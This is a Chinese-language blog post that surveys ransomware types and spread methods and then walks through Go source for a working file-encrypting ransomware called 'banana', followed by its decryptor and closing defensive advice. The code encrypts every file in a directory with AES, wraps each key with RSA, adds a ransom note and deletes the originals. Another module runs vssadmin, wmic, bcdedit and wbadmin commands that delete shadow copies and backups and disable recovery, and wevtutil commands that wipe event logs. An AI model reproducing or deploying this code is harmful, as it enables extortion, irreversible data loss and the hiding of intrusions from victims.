勒索病毒banana
勒索病毒是黑客通過鎖屏、加密文件等方式劫持用戶文件並以此敲詐用戶錢財的惡意軟件。黑客利用系統漏洞或通過網絡釣魚等方式,向受害電腦或服務器植入病毒,進以加密硬盤上的關鍵文檔(如ERP數據庫文件)乃至整個硬盤,然后向受害者索要數額不等的贖金后才予以解密。該病毒性質惡劣、危害極大,一旦感染將給企業用戶帶來無法估量的損失。
勒索病毒所產生的龐大收益令讓黑客組織賺得盆滿缽滿。在利益驅使下,黑客組織不斷采用尖端技術讓勒索病毒變的越來越強大。直到2017年上半年,WannaCry(永恆之藍)的爆發,很多中國企業用戶才意識到勒索病毒的存在。WannaCry之后,Petya又再次在國外爆發,國內由於剛經歷過WannaCry的洗禮,受到Petya攻擊的用戶並不多見。但之后的2-3個月,我們陸陸續續發現master、Sega2.0、arena開始有爆發的勢頭。
隨着勒索攻擊工具化程度越來越高,無數的勒索病毒在互聯網中游盪,尋找着合適的目標。就像流感病毒入侵人體一樣,感染的過程安靜、緩慢,並不激烈…直到抵達臨界點迅猛爆發,人體免疫系統已無力抵抗。目前,許多新式攻擊媒介傾向與於緩慢低調,一般的網絡防御手段在其面前如若無物。
美國聯邦調查局報告稱,每天有超過4,000起勒索軟件攻擊事件發生,而其他研究機構則表示,每天產生23萬個新的惡意軟件樣本。
勒索病毒種類
1.文件加密勒索病毒
所有文件被加密(文件、圖片、視頻甚至是數據庫),受感染的文件被加密后會被刪除,用戶通常會在文件夾中看到一個包含付款說明的文本文件。當用戶嘗試打開其中一個加密文件時,才可能會發現問題。最典型的案例就是WannaCry,該類型勒索病毒是目前最常見的勒索病毒。感染文件型勒索病毒后,病毒會更改系統桌面並展示勒索支付提示。
2.鎖屏勒索病毒——WinLocker
WinLocker會鎖定電腦屏幕並要求付款。它會呈現一個全屏圖像並阻止所有其它窗口開啟。幸運的是,這種類型的勒索病毒並不會加密用戶的數據文件,數據有挽回的可能。
3.主引導記錄(MBR)勒索病毒
主引導記錄(MBR)是電腦硬盤驅動器的一部份,影響操作系統的啟動功能。主引導記錄勒索病毒會更改電腦的主引導記錄,中斷電腦的正常啟動,然后在屏幕上顯示要求贖金的內容,今年最流行的Petya就屬於這類病毒。這類病毒不同於文件型勒索病毒,感染后病毒可能采用磁盤級加密技術覆寫磁盤,數據基本無挽回可能。
4.網絡服務器加密勒索病毒
這類病毒專門針對網絡服務器上的文件進行加密。它通常使用內容管理系統中的已知漏洞,在網絡服務上釋放和安裝勒索病毒,例如最近經常碰到的master勒索病毒。
5.移動設備勒索軟件(安卓)
目前針對移動設備的勒索病毒主要存在於安卓系統上(iOS系統安全性要高一些,但也要注意及時升級),用戶遭受感染的方式一般為下載、瀏覽不信任程序以及網站或偽裝程序。
6.另類的勒索攻擊——DDoS攻擊
通過DDoS攻擊來堵塞服務器通道。萬幸的是這樣的攻擊不會影響到企業的數據安全。目前,國內市場中常常出現的DDoS一般分為四種:ARP攻擊、ICMP攻擊、TCP攻擊、應用層攻擊。DDoS攻擊日漸猖獗,大量實踐數據表明,DDoS特別青睞於安全管理等級不高的服務器。
下面我通過Golang實現一個簡單的文件加密勒索病毒(勒索病毒banana)。
勒索測試
package main
import (
"flag"
"github.com/xxx/blackmail/Delete_VSSADMIN"
"github.com/xxx/blackmail/Directory_traversal"
)
func main() {
var pathName string
flag.StringVar(&pathName, "pathName", "C:/Users/13107/Desktop/識別沙箱檢測", "輸入要加密的路徑")
flag.Parse()
// pathName := "C:/Users/13107/Desktop/識別沙箱檢測"
Directory_traversal.Directory_traversal(pathName) // 加密文件
Delete_VSSADMIN.Delete_VSSADMIN() // 刪除卷影、備份等
}
行為
文件加密
1. 獲取磁盤信息和文件信息
-
遍歷文件目錄,只加密不是.banana后綴的
-
獲取每一個文件路徑
func GetAllFile(pathName string) { conn := pathName local_dir := conn err := filepath.Walk(local_dir, file_path) fmt.Println("Temp總共文件數量:", k) if err != nil { // fmt.Println("路徑獲取錯誤") return } } func file_path(FileName string, fi os.FileInfo, err error) error { if fi.IsDir() { return nil } k++ fmt.Println("filename:", FileName) // 輸出文件名字 -> byte讀取文件 aes加密文件內容 將加密后的文件新建到 fileName.banana // 讀取文件AES 加密 if !strings.HasSuffix(FileName, ".banana") { // 判斷后綴是否為.banana 文件 只加密不是.banana后綴的文件 wg.Add(1) go func() { defer wg.Add(-1) AES_Encryption.AES_Encryption(FileName) }() wg.Wait() return nil } return nil }
2.對每一個文件進行加密處理
-
隨機生成16位字符串作為AES的key
package AES_Encryption import ( "math/rand" "time" ) func Random_Key(len int) string { r := rand.New(rand.NewSource(time.Now().UnixNano())) bytes := make([]byte, len) for i := 0; i < len; i++ { b := r.Intn(26) + 65 bytes[i] = byte(b) } return string(bytes) }
-
用RSA加密算法生成公私鑰
// RSA公鑰和私鑰生成: package main import ( "crypto/rand" "crypto/rsa" "crypto/x509" "encoding/pem" "flag" "fmt" "os" ) func RSAKeyGen(bits int) error { privatekey, err := rsa.GenerateKey(rand.Reader, bits) if err != nil { fmt.Println("私鑰文件生成失敗") } fmt.Println("私鑰為:", privatekey) derStream := x509.MarshalPKCS1PrivateKey(privatekey) block := &pem.Block{ Type: "RSA Private key", Bytes: derStream, } privatefile, err := os.Create("myprivatekey.pem") defer privatefile.Close() err = pem.Encode(privatefile, block) if err != nil { fmt.Println(err.Error()) return err } publickey := &privatekey.PublicKey fmt.Println("公鑰為:", publickey) derpkix, err := x509.MarshalPKIXPublicKey(publickey) block = &pem.Block{ Type: "RSA Public key", Bytes: derpkix, } if err != nil { fmt.Println(err.Error()) return err } publickfile, err := os.Create("mypublic.pem") defer publickfile.Close() err = pem.Encode(publickfile, block) if err != nil { fmt.Println(err.Error()) return err } return nil } func main() { var bits int flag.IntVar(&bits, "b", 1024, "密碼默認長度1024") flag.Parse() err := RSAKeyGen(bits) if err != nil { fmt.Println("RSA密碼文件生成失敗") } fmt.Println("RSA密碼生成成功") }
3.用AES加密每一個文件,key為隨機生成的AES key
package AES_Encryption
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"io/ioutil"
"os"
"github.com/ed11s00n/blackmail/RSA_ENC_KEY"
)
const (
StdLen = 16
UUIDLen = 20
iv = "0000000000000000"
)
var StdChars = []byte("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789")
func Get_aes_key() []byte {
return NewLenChars(StdLen, StdChars)
}
// NewLenChars returns a new random string of the provided length, consisting of the provided byte slice of allowed characters(maximum 256).
func NewLenChars(length int, chars []byte) []byte {
if length == 0 {
_ = 1
}
clen := len(chars)
if clen < 2 || clen > 256 {
panic("Wrong charset length for NewLenChars()")
}
maxrb := 255 - (256 % clen)
b := make([]byte, length)
r := make([]byte, length+(length/4)) // storage for random bytes.
i := 0
for {
if _, err := rand.Read(r); err != nil {
panic("Error reading random bytes: " + err.Error())
}
for _, rb := range r {
c := int(rb)
if c > maxrb {
continue // Skip this number to avoid modulo bias.
}
b[i] = chars[c%clen]
i++
if i == length {
return b
}
}
}
}
func PKCS5Padding(ciphertext []byte, blockSize int) []byte {
padding := blockSize - len(ciphertext)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}
func PKCS5UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}
func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
if err != nil {
return nil, err
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
origData := make([]byte, len(decodeBytes))
blockMode.CryptBlocks(origData, decodeBytes)
origData = PKCS5UnPadding(origData)
return origData, nil
}
func AesEncrypt(encodeBytes []byte, key []byte) (string, error) {
block, err := aes.NewCipher(key)
if err != nil {
return "", err
}
blockSize := block.BlockSize()
// fmt.Println(blockSize)
encodeBytes = PKCS5Padding(encodeBytes, blockSize)
blockMode := cipher.NewCBCEncrypter(block, []byte(iv))
crypted := make([]byte, len(encodeBytes))
blockMode.CryptBlocks(crypted, encodeBytes)
return base64.StdEncoding.EncodeToString(crypted), nil
}
func AES_Encryption(fileName string) { // 主
// fmt.Println(fileName)
var Encrypted_file = []byte{}
file_byte, _ := ioutil.ReadFile(fileName)
Encrypted_file = append(Encrypted_file, file_byte...)
// fmt.Println(Encrypted_file)
key := Random_Key(16) // AES的key為隨機生成的
// 將隨機生成的AES key 進行RSA加密:
rsa_key := RSA_ENC_KEY.RSAEncrypt(key)
b, _ := AesEncrypt([]byte(Encrypted_file), []byte(key))
b0 := []byte("\r\n\r\nYour files have been encrypted\r\n\r\n")
b1 := append([]byte(rsa_key), b0...)
b1 = append(b1, b...)
err := ioutil.WriteFile(fileName+".banana", b1, 0666)
if err != nil {
return
}
Delete_File(fileName) // 刪掉原文件
// fmt.Println("enc_info: " + string(b))
}
4. 用RSA加密算法加密隨機生成的key值
rsa_key := RSA_ENC_KEY.RSAEncrypt(key)
5.刪除原文件
// 刪除原文件
func Delete_File(fileName string) {
err := os.Remove(fileName)
if err != nil {
return
} else {
return
}
}
6.保存加密文件(三部分組成)
-
RSA加密的隨機生成的AES key
sj1Fxi9JXIcopFmRLvz0jBGzR06w3kYLePN3nTLEndzxlwSDbbT8xL943EOLnnOXeTT5HU25PdkTMNQXlFVBFaCZOvAtor/X/2FQsyTAlKIwo25RHbTnWhZ7oePSeyaeYD++Wtoz/2fgsqhnaal4uEdHmognPDh43IHp9Yogat8=
-
賬戶、以及解密方式
You have been blackmailed,Please contact me at ********
-
加密以后的文件內容
IvH+YrCg5yfD/XIBpGdpSgTe2F/sK9kqqoYqC3DsW9T9cO+cBcSmG54q8kXvQ7mI6Lb6hPSdI2KK8ylRP3PYNiPCu59lDb1paXNScANhdLS1NwO8zAMhZxAzK+6GEWFPQnbFiSO7H5IbklfUAjCCnzNowIX7s+9ExuaMU+RHp5V6HXDOgNTULprkoOmxDUTXQEm75EiUtV5EebP8muNCCNoL5od1lYyEk578WM8oDpamkANTZ82ar1QtFsjaot+kWJNE6Z94DiVc1KUTCIbh6dYx47G4zZ4IncQ6oeSRCbqmrURqSDoe/drfWgSxqhE+igGJgNLJ7BEF2P20d6HMW/Iy6zFioruXhR1h1yzcr43HQ8D3ZeWYXcLhsNP2cDk7ZLnDbWtk7w+9d8QOeuNz/lYQkcL+ewOtOfc7X0yqfywoWNaFf10gW0SK4tvz0ZcYeMLmGqWI5VjOb+mzDCzEjbbLkQPAPHiub9pSd6q57RR+FzpHC4riaAYnPFMmiLEcbu5Ally0DjKJKNWlIA7sLb4uXRwNcOzk1yLm/si6kfAaluvmJRCyH0xKy1/+1Lj3X9cIfJjc5YKkxj1KciuNjwLck+vw0nD59h1MBxoDAMbnBDqvnDYISvnXu/0UXFlpDDfSaz1C8I6Cw5yHcBUxmk79/08M2+u00iYYo9EWZaRrrStsQh1+icOy6X24NhzdzcXSsatk2p747Xczb2NAMsipEx4AxHaRSYkxxdq1sTzfag6l9LnftkqvPojOFWms7NlKTI0kiMkkGWDSKdiIls9hcbXvv/e48PcBSrpnvRYpr0KTvrB1n7L43nfXp/W0cYcgk1WuH+wuGcvwVmm3N8TNLshIuOaCP6Ze6rs9E0GgyZPIyAw5qoJHx+ojTMlALsiI/GhvtbAgDquVS+2BCwXXJNbuAo2jb8A/KG0aH43YfxoP3rKPMAUi1KRarH4MKgf5d/qphOd7QLb9l1oy+ucnjvI+BoYL1QlmY3XmF/VXwhPiFUePmHL4Tq+rJQg2tDWjNcLDH2BjeU9u1bKZUNqHBJ5bL7pEto8ws7RV85Ef6LjJgipEz2GMT1CRh46L5xKlHY1l2nSB+eWxLXVSfDMmlTGzqQd434pni8dsq2/43zzX1SL3bEB37otsb8jSJZVKs6zItoGFqHhLq/IIMoeXwq4wW+npPYJr905s01yc9XzM/NVqJFDSy26W8vQJvzRErMSZgU7NHe/sxgXD8Wq+edWDzM3DUW9OKa3oX4osyYFQ8pAtrHxpXSzXhwnRbCtvokzEvGztSP5XK3Fz6TkBx0Cz1Hs0ljUHUSNegQTFyypN2wjybFL5NmVqymWsq6eL0y86qqijQVVynmtm1GXW1B8+p755ZQ9/XiAbT3HlU47wv2HFu4gPybyaLe5zJxe0IujyqTehhJ4kVMIylM8FfPNSBN3Ns9lop66Vh8RssJmb6q7H+e2B8ZsAsM1Su21TWWzaJaaLMG363FfNNSikHSRUNWT6gpk3G54ZZlvVA5Oujq6M6f6fuk6UlULc8MrUM6IrjCDbw1jvdyZZNeognGeJB1Vf1G7j/66wdtO6GBhDQT/MGHfSlccQr0HwO4njJKUe1mgJqeP41/9arfBQtj1llAEo4N/wqpUeaMmhngyany1CrskkhYrRHd9lOdqmMvZ7yRGYFqzFzNOXRpMWesoKlM69Zq7TBshwZDDaAcq1qkxNlXGbMVxniW8yl+aHdyTz+unpcCznOAgHTR0n/nVa2acUUw/gxgUxHx/prGtzzz0ilNyWgpaMrsul
-
保存為filename.banana(例:原文件為1.txt,則新文件為1.txt.banana)
-
刪除卷影、備份
-
刪除卷影
-
刪除備份
package Delete_VSSADMIN import ( "fmt" "os/exec" ) func Delete_VSSADMIN() { // "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet // vssadmin delete shadows /all /quiet // wmic shadowcopy delete // bcdedit /set {default} bootstatuspolicy ignoreallfailures // bcdedit /set {default} recoveryenabled no // wbadmin delete catalog -quiet c1 := exec.Command("cmd", "/c", "vssadmin", "delete", "shadows", "/all", "/quiet", "&", "wmic", "shadowcopy", "delete", "&", "bcdedit", "/set", "{default}", "bootstatuspolicy", "ignoreallfailures", "&", "bcdedit", "/set", "{default}", "recoveryenabled", "no", "&", "wbadmin", "delete", "catalog", "-quiet") //"C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet if err := c1.Run(); err != nil { fmt.Println("Error: ", err) } for i := 0; i < 3; i++ { // "C:\Windows\System32\cmd.exe" /c vssadmin Delete Shadows /All /Quiet c2 := exec.Command("cmd", "/c", "vssadmin", "Delete", "Shadows", "/All", "/Quiet") if err := c2.Run(); err != nil { fmt.Println("Error: ", err) } // "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No c3 := exec.Command("cmd", "/c", "bcdedit", "/set", "{default}", "recoveryenabled", "No") if err := c3.Run(); err != nil { fmt.Println("Error: ", err) } // "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy ignoreallfailures c4 := exec.Command("cmd", "/c", "bcdedit", "/set", "{default}", "bootstatuspolicy", "ignoreallfailures") if err := c4.Run(); err != nil { fmt.Println("Error: ", err) } // "C:\Windows\System32\cmd.exe" /c wbadmin DELETE SYSTEMSTATEBACKUP c5 := exec.Command("cmd", "/c", "wbadmin", "DELETE", "SYSTEMSTATEBACKUP") if err := c5.Run(); err != nil { fmt.Println("Error: ", err) } // "C:\Windows\System32\cmd.exe" /c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest c6 := exec.Command("cmd", "/c", "wbadmin", "DELETE", "SYSTEMSTATEBACKUP", "-deleteOldest") if err := c6.Run(); err != nil { fmt.Println("Error: ", err) } // "C:\Windows\System32\cmd.exe" /c wmic SHADOWCOPY /nointeractive c7 := exec.Command("cmd", "/c", "wmic", "SHADOWCOPY", "/nointeractive") if err := c7.Run(); err != nil { fmt.Println("Error: ", err) } // "C:\Windows\System32\cmd.exe" /c wevtutil cl security c8 := exec.Command("cmd", "/c", "wevtutil", "cl", "security") if err := c8.Run(); err != nil { fmt.Println("Error: ", err) } // "C:\Windows\System32\cmd.exe" /c wevtutil cl system c9 := exec.Command("cmd", "/c", "wevtutil", "cl", "system") if err := c9.Run(); err != nil { fmt.Println("Error: ", err) } // "C:\Windows\System32\cmd.exe" /c wevtutil cl application c10 := exec.Command("cmd", "/c", "wevtutil", "cl", "application") if err := c10.Run(); err != nil { fmt.Println("Error: ", err) } } }
傳播
1.郵件傳播
這種傳播方式也是病毒界老套路的傳播方式。病毒執行體附着於郵件附件的docx、XLS、TXT等文件中,攻擊者以廣撒網的方式大量傳播垃圾郵件、釣魚郵件,一旦收件人打開郵件附件或者點擊郵件中的鏈接地址,勒索軟件會以用戶看不見的形式在后台靜默安裝,實施勒索。
2.漏洞傳播
這種傳播方式是這幾年非常流行的病毒傳播方式。通過網絡、系統、應用程序的漏洞攻擊用戶。例如今年在國內泛濫的WannaCry就是這樣的典型:利用微軟445端口協議漏洞,感染傳播網內計算機。
3.捆綁傳播
與其他惡意軟件捆綁傳播,這種傳播方式這兩年有所變化。有用戶使用P2P下載例如Bt、迅雷、電驢等下載工具下載文件后,勒索病毒體同下載文件進行捆綁導致用戶感染。
4.介質傳播
可移動存儲介質、本地和遠程的驅動器以及網絡共享傳播、社交媒體傳播。
文件解密
package main
import (
"flag"
"github.com/xxx/blackmail_dec/Directory_traversal"
)
func main() {
var pathName string
flag.StringVar(&pathName, "pathName", "C:/Users/13107/Desktop/識別沙箱檢測", "輸入要解密的路徑")
flag.Parse()
// pathName := "C:/Users/13107/Desktop/識別沙箱檢測"
Directory_traversal.Directory_traversal(pathName) // 解密文件
}
1.獲取磁盤信息和文件信息
-
遍歷文件目錄,只解密是.banana后綴的
-
獲取每一個文件路徑
package Directory_traversal import ( "fmt" "os" "path/filepath" "strings" "sync" AES_Decryption "github.com/xxx/blackmail_dec/AES_DEcryption" ) var wg sync.WaitGroup var k int // 遍歷pathName下所有文件 func GetAllFile(pathName string) { conn := pathName local_dir := conn err := filepath.Walk(local_dir, file_path) fmt.Println("Temp總共文件數量:", k) if err != nil { // fmt.Println("路徑獲取錯誤") return } } func file_path(FileName string, fi os.FileInfo, err error) error { if fi.IsDir() { return nil } k++ fmt.Println("filename:", FileName) // 讀取文件AES 加密 if strings.HasSuffix(FileName, ".banana") { // 判斷后綴是否為.banana 文件 只解密.banana后綴的文件 wg.Add(1) go func() { defer wg.Add(-1) AES_Decryption.File_Processing(FileName) // 這里實現解密 }() wg.Wait() return nil } return nil } func Directory_traversal(pathName string) { //主 GetAllFile(pathName) }
2.對每一個文件進行加密處理
-
用RSA解密算法解密隨機生成的key值
package RSA_DEC_KEY import ( "crypto/rand" "crypto/rsa" "crypto/x509" "encoding/base64" "encoding/pem" "errors" "fmt" "os" ) var privatekey = FileLoad("myprivatekey.pem") func FileLoad(filepath string) []byte { privatefile, err := os.Open(filepath) defer privatefile.Close() if err != nil { return nil } privateKey := make([]byte, 2048) num, err := privatefile.Read(privateKey) if err != nil { return nil } return privateKey[:num] } func RSADecrypt(cipertext []byte) ([]byte, error) { block, _ := pem.Decode(privatekey) if block == nil { return nil, errors.New("private key is bad") } priv, err := x509.ParsePKCS1PrivateKey(block.Bytes) if err != nil { return nil, err } return rsa.DecryptPKCS1v15(rand.Reader, priv, cipertext) } // key := "cOMzS+CqcN7+8jboX2YlblEWX8c0AR21v2WwCg8xadKyGKZEzd8Imzt1gEzQRwsrYXi+Zf71ok+XBvqaoYhbOBlI17tsBBElJjW7hHat65RH08T3W0v3Qp0xsPyUnVZhjFSBoSYaNFAV8BelR5AkszfaGCjId9GmZeCHBuXamL8=" //主 傳入RSA加密的AES key func RSA_DEC_KEY(RSA_key string) string { //主 傳入RSA加密的AES key // var data []byte var err error // fmt.Println(RSA_key) data, err := base64.StdEncoding.DecodeString(RSA_key) if err != nil { fmt.Println("錯誤", err) } origData, err := RSADecrypt(data) //解密 if err != nil { fmt.Println("錯誤", err) } // fmt.Println("解密:", string(origData)) return string(origData) //pk := FileLoad("myprivatekey.pem") //fmt.Println(string(pk)) }
用AES key解密每一個文件
package AES_Decryption import ( "crypto/aes" "crypto/cipher" "encoding/base64" "io/ioutil" "os" "strings" "github.com/ed11s00n/blackmail_dec/RSA_DEC_KEY" ) var iv = "0000000000000000" func AesDecrypt(decodeStr string, key []byte) ([]byte, error) { decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr) if err != nil { return nil, err } block, err := aes.NewCipher(key) if err != nil { return nil, err } blockMode := cipher.NewCBCDecrypter(block, []byte(iv)) origData := make([]byte, len(decodeBytes)) blockMode.CryptBlocks(origData, decodeBytes) origData = PKCS5UnPadding(origData) return origData, nil } // 刪除原加密文件 func Delete_File(fileName string) { err := os.Remove(fileName) if err != nil { return } else { return } } func PKCS5UnPadding(origData []byte) []byte { length := len(origData) unpadding := int(origData[length-1]) return origData[:(length - unpadding)] } // 解密文件 func AES_Decryption(key string, data string) []byte { // key為AES加密文件時隨機生成的key , data為加密以后的數據,返回byte類型原數據 var info_list = [...]string{data} original_data, _ := AesDecrypt(info_list[0], []byte(key)) // fmt.Println(string(original_data)) return original_data } // 主 對傳入文件進行處理 func File_Processing(fileName string) { b, err := ioutil.ReadFile(fileName) if err != nil { return } lineSlice := strings.Split(string(b), "\r\n") RSA_key := lineSlice[0] key := RSA_DEC_KEY.RSA_DEC_KEY(RSA_key) data := lineSlice[4] Delete_File(fileName) // 刪除加密文件 original_data := AES_Decryption(key, data) err2 := ioutil.WriteFile(fileName[:len(fileName)-7], original_data, 0666) if err2 != nil { return } }
-
生成新文件為filename減去.banana后綴
err2 := ioutil.WriteFile(fileName[:len(fileName)-7], original_data, 0666)
3.刪除原文件
// 刪除原加密文件
func Delete_File(fileName string) {
err := os.Remove(fileName)
if err != nil {
return
} else {
return
}
}
項目地址:https://github.com/Ed1s0nZ/banana_blackmail
勒索病毒威脅的解決方案
企業用戶應該提升新興威脅的對抗能力。傳統的基於合規要求的防御體系,對於勒索軟件等新興威脅在發現、檢測、處理上已經呈現出力不從心的狀態。而通過對抗式演習,從安全技術、安全管理和安全運營等多個維度出發,對企業的互聯網邊界、防御體系及安全運營制度等多方面進行仿真檢驗,可以持續提升企業對抗新興威脅的能力。
根據勒索病毒普遍的攻擊方式,我們提供以下建議
1.加強網絡層防御
我們正在經歷全球互聯網化的浪潮,幾乎所有的商業企業都已經接入互聯網。企業的邊界漸漸模糊,網絡逐漸成為企業的虛擬邊界。有效加強企業網絡層的安全防御水平,對企業防止來自網絡層的惡意攻擊非常有必要。作為網絡層防御的第一道衛士,我們建議:企業用戶配備專業的網絡安全設備(網絡防火牆系統)。
2.加強應用系統防護
目前企業用戶大量使用ERP、CRM、OA等管理軟件,已經開始將交易、管理、運營的數據遷移至信息化系統之中,所以管理和業務軟件的安全至關重要。
由於勒索病毒的泛濫,已經造成多起企業ERP系統被加密,企業業務無法正常開展的案例。防火牆由於防御顆粒度粗,在網絡架構中位置偏低(網絡層在應用層之下),難以防御針對應用層關鍵業務系統的攻擊。另外,不同的管理和業務系統軟件,因為其開發語言、開發過程、開發環境,以及其應用場景、應用過程、應用環境的不同,會有不同的安全隱患存在。企業用戶需要進行有針對的威脅檢測和威脅防護,並且部署專屬的應用系統防御產品。我們建議:企業用戶配備專屬的應用安全設備(ERP安全防護系統)。
3.加強終端安全防御
勒索病毒的目的很簡單:控制企業核心業務系統,掌握企業重要業務數據。只有這樣,企業才能快速的支付“贖金”。業務實踐和統計數據顯示,95%以上針對企業用戶的網絡攻擊,目標都是業務服務器和業務終端。但是,很多企業用戶對核心業務系統基礎設施(服務器和PC)防護意識薄弱,認為安裝一款免費殺毒軟件就能夠“萬事大吉”。對於終端防御來講,查殺病毒只是一個環節,還需要科學的對“操作系統補丁、操作系統漏洞、高可持續攻擊、0day攻擊”進行系統的防御。我們建議:企業用戶應該進行兩方面的安全防御,服務器做好主機加固、終端安全管理、防病毒;PC:做好防病毒管理。
4.做好數據備份
數據備份是企業遭受到勒索病毒攻擊后最后的補救措施。但是,新型勒索病毒越來越智能,會主動搜尋備份設備與備份軟件,一旦發現備份系統將優先進行加密,實施勒索。我們遇到的案例中,企業ERP系統遭到勒索病毒的攻擊,運行服務器、災備服務器、備份服務器被一鍋端,丟失長達6年的業務數據。我們建議:企業用戶日常化關鍵數據備份工作。有條件的企業,建議做好異地備份,並通過網絡隔離保障備份數據安全。